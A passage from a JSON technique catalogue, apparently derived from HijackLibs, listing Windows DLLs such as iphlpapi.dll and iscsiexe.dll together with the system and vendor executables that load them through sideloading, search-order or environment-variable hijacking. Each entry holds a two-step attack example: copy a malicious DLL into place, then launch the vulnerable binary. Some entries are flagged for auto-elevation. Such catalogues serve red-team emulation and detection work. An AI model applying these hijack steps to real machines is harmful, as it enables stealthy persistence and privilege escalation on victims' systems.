    "_body": "examples:\n  - description: \"Place malicious iepdf32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Handy Viewer\\\\iepdf32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Handy Viewer\\\\hv.exe\\\"\"\n\n# iepdf32.dll\n\n**Vendor:** HandySoftware\n\n**Expected Location:** %PROGRAMFILES%\\Handy Viewer\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Handy Viewer\\hv.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-iepdf32.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iepdf32.dll — Sideloading hijacking (HandySoftware)",
    "execution": {
      "template": "iepdf32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iepdf32",
    "name": "iepdf32.dll",
    "namespace": "windows:dllhijack:iepdf32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/b748e5dc64f5ece1b256705b7365a89b3be9284587da5f3abbde4be78864867e/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/030ca3bb54a276eea7cdf69d90d04b58a4fa500396e94340895f923d87dc169a/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iepdf32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious iernonce.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iernonce.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSWOW64%\\\\runonce.exe\\\"\"\n\n# iernonce.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSWOW64%\\runonce.exe (Sideloading)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-iernonce.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iernonce.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iernonce.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iernonce",
    "name": "iernonce.dll",
    "namespace": "windows:dllhijack:iernonce",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2023/12/26/1-little-known-secret-of-runonce-exe-32-bit/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iernonce.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious iertutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iertutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\browserexport.exe\\\"\"\n\n# iertutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\browserexport.exe (Sideloading)\n- %SYSTEM32%\\cipher.exe (Sideloading)\n- %SYSTEM32%\\iesettingsync.exe (Sideloading)\n- %SYSTEM32%\\launchwinapp.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgebchost.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgecp.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgedevtools.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgesh.exe (Sideloading)\n- %SYSTEM32%\\wwahost.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-iertutil.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iertutil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iertutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iertutil",
    "name": "iertutil.dll",
    "namespace": "windows:dllhijack:iertutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iertutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ifmon.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ifmon.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# ifmon.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ifmon.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ifmon.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ifmon.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ifmon",
    "name": "ifmon.dll",
    "namespace": "windows:dllhijack:ifmon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ifmon.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ifsutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ifsutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\convert.exe\\\"\"\n\n# ifsutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\convert.exe (Sideloading)\n- %SYSTEM32%\\fsavailux.exe (Sideloading)\n- %SYSTEM32%\\label.exe (Sideloading)\n- %SYSTEM32%\\recover.exe (Sideloading)\n- %SYSTEM32%\\xcopy.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-ifsutil.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ifsutil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ifsutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ifsutil",
    "name": "ifsutil.dll",
    "namespace": "windows:dllhijack:ifsutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ifsutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious imjp14k.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\imjp14k.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Common Files\\\\Microsoft Shared\\\\IME14\\\\SHARED\\\\imecmnt.exe\\\"\"\n\n# imjp14k.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Common Files\\Microsoft Shared\\IME14\\SHARED\\imecmnt.exe (Sideloading)\n",
    "_source": "windows-dllhijack-imjp14k.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "imjp14k.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "imjp14k.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-imjp14k",
    "name": "imjp14k.dll",
    "namespace": "windows:dllhijack:imjp14k",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/chinese-hacking-group-apt41-compromised-taiwanese-government-affiliated-research-institute-with-shadowpad-and-cobaltstrike-2/"
      },
      {
        "label": "Reference",
        "url": "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/imjp14k.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious inproclogger.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\inproclogger.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\easpolicymanagerbrokerhost.exe\\\"\"\n\n# inproclogger.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\easpolicymanagerbrokerhost.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-inproclogger.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "inproclogger.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "inproclogger.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-inproclogger",
    "name": "inproclogger.dll",
    "namespace": "windows:dllhijack:inproclogger",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/inproclogger.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious iphlpapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iphlpapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\arp.exe\\\"\"\n\n# iphlpapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\arp.exe (Sideloading)\n- %SYSTEM32%\\colorcpl.exe (Sideloading)\n- %SYSTEM32%\\datausagelivetiletask.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\devicecensus.exe (Sideloading)\n- %SYSTEM32%\\dnscacheugc.exe (Sideloading)\n- %SYSTEM32%\\fxscover.exe (Sideloading)\n- %SYSTEM32%\\fxssvc.exe (Sideloading)\n- %SYSTEM32%\\fxsunatd.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\ipconfig.exe (Sideloading)\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n- %SYSTEM32%\\msra.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\nbtstat.exe (Sideloading)\n- %SYSTEM32%\\net.exe (Sideloading)\n- %SYSTEM32%\\netbtugc.exe (Sideloading)\n- %SYSTEM32%\\netiougc.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\netstat.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\pathping.exe (Sideloading)\n- %SYSTEM32%\\printbrmui.exe (Sideloading)\n- %SYSTEM32%\\printui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\route.exe (Sideloading)\n- %SYSTEM32%\\tracert.exe (Sideloading)\n- %SYSTEM32%\\w32tm.exe (Sideloading)\n- %SYSTEM32%\\wfs.exe (Sideloading)\n- %SYSTEM32%\\wifitask.exe (Sideloading)\n- %SYSTEM32%\\wpnpinst.exe (Sideloading)\n- %LOCALAPPDATA%\\microsoft\\onedrive\\onedrive.exe (Search Order)\n- %LOCALAPPDATA%\\microsoft\\onedrive\\OneDriveStandaloneUpdater.exe (Search Order)\n- %LOCALAPPDATA%\\microsoft\\teams\\current\\teams.exe (Search Order)\n- %SYSTEM32%\\dpiscaling.exe (Environment Variable)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n- %SYSTEM32%\\slui.exe (Environment Variable)\n- %PROGRAMFILES%\\Minecraft Launcher\\MinecraftLauncher.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Deployment Toolkit\\Bin\\Microsoft.BDD.Catalog35.exe (Sideloading)\n- %LOCALAPPDATA%\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe (Sideloading)\n- %PROGRAMFILES%\\WindowsApps\\Microsoft.MicrosoftOfficeHub_%VERSION%\\WebViewHost\\WebViewHost.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Samir\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Andrew Oliveau\n\n**Acknowledgement:** Tim Peck\n\n**Acknowledgement:** Will Summerhill\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-iphlpapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "iphlpapi.dll — Sideloading, Search Order, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "iphlpapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-iphlpapi",
    "name": "iphlpapi.dll",
    "namespace": "windows:dllhijack:iphlpapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/SBousseaden/status/1550903546916311043"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/AndrewOliveau/status/1682185200862625792"
      },
      {
        "label": "Reference",
        "url": "https://x00.zip/playing-with-process-handles/"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/BSummerz/status/1860045985919205645"
      },
      {
        "label": "Reference",
        "url": "https://ctrlaltintel.com/research/FudCrypt-analysis-1/"
      },
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/answers/questions/f46df9f8-a9bb-4d1d-a11c-c0f6d02454b6/onedrivesetupexe-is-a-malware-autoupdate-without"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iphlpapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious iri.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iri.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\deviceenroller.exe\\\"\"\n\n# iri.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n- %SYSTEM32%\\dmcfghost.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\hvsievaluator.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-iri.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iri.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iri.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iri",
    "name": "iri.dll",
    "namespace": "windows:dllhijack:iri",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iri.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious iscsidsc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iscsidsc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\iscsicli.exe\\\"\"\n\n# iscsidsc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\iscsicli.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-iscsidsc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "iscsidsc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iscsidsc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-iscsidsc",
    "name": "iscsidsc.dll",
    "namespace": "windows:dllhijack:iscsidsc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iscsidsc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious iscsiexe.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iscsiexe.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\iscsicpl.exe\\\"\"\n\n# iscsiexe.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\iscsicpl.exe (Search Order) [AutoElevate]\n\n**Acknowledgement:** Matthew Hickey\n",
    "_source": "windows-dllhijack-iscsiexe.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "iscsiexe.dll — Search Order hijacking (Microsoft)",
    "execution": {
      "template": "iscsiexe.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-iscsiexe",
    "name": "iscsiexe.dll",
    "namespace": "windows:dllhijack:iscsiexe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/hackerfantastic/status/1547412574404214784"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iscsiexe.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious iscsium.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iscsium.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\iscsicli.exe\\\"\"\n\n# iscsium.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\iscsicli.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-iscsium.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "iscsium.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iscsium.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-iscsium",
    "name": "iscsium.dll",
    "namespace": "windows:dllhijack:iscsium",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iscsium.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious isv.exe_rsaenh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\isv.exe_rsaenh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rmactivate\\\"\"\n\n# isv.exe_rsaenh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rmactivate (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-isv-exe-rsaenh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "isv.exe_rsaenh.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "isv.exe_rsaenh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-isv-exe-rsaenh",
    "name": "isv.exe_rsaenh.dll",
    "namespace": "windows:dllhijack:isv-exe-rsaenh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/isv-exe-rsaenh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious iumbase.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iumbase.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bioiso.exe\\\"\"\n\n# iumbase.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bioiso.exe (Sideloading)\n- %SYSTEM32%\\fsiso.exe (Sideloading)\n- %SYSTEM32%\\ngciso.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-iumbase.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iumbase.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iumbase.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iumbase",
    "name": "iumbase.dll",
    "namespace": "windows:dllhijack:iumbase",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iumbase.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious iumsdk.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iumsdk.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bioiso.exe\\\"\"\n\n# iumsdk.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bioiso.exe (Sideloading)\n- %SYSTEM32%\\fsiso.exe (Sideloading)\n- %SYSTEM32%\\ngciso.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-iumsdk.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iumsdk.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iumsdk.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iumsdk",
    "name": "iumsdk.dll",
    "namespace": "windows:dllhijack:iumsdk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iumsdk.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious iviewers.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\bin\\\\%VERSION%\\\\x86\\\\iviewers.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\bin\\\\%VERSION%\\\\x86\\\\oleview.exe\\\"\"\n\n# iviewers.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\x86\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\x86\\oleview.exe (Sideloading)\n- %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\x64\\oleview.exe (Sideloading)\n- %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\arm64\\oleview.exe (Sideloading)\n",
    "_source": "windows-dllhijack-iviewers.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iviewers.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iviewers.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iviewers",
    "name": "iviewers.dll",
    "namespace": "windows:dllhijack:iviewers",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.secureworks.com/research/shadowpad-malware-analysis"
      },
      {
        "label": "Reference",
        "url": "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iviewers.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious jli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Java\\\\%VERSION%\\\\bin\\\\jli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Java\\\\%VERSION%\\\\bin\\\\jsadebugd.exe\\\"\"\n\n# jli.dll\n\n**Vendor:** Oracle\n\n**Expected Location:** %PROGRAMFILES%\\Java\\%VERSION%\\bin\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Java\\%VERSION%\\bin\\jsadebugd.exe (Sideloading)\n- %PROGRAMFILES%\\Java\\%VERSION%\\bin\\java.exe (Sideloading)\n- %PROGRAMFILES%\\Java\\%VERSION%\\bin\\javaw.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-jli.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
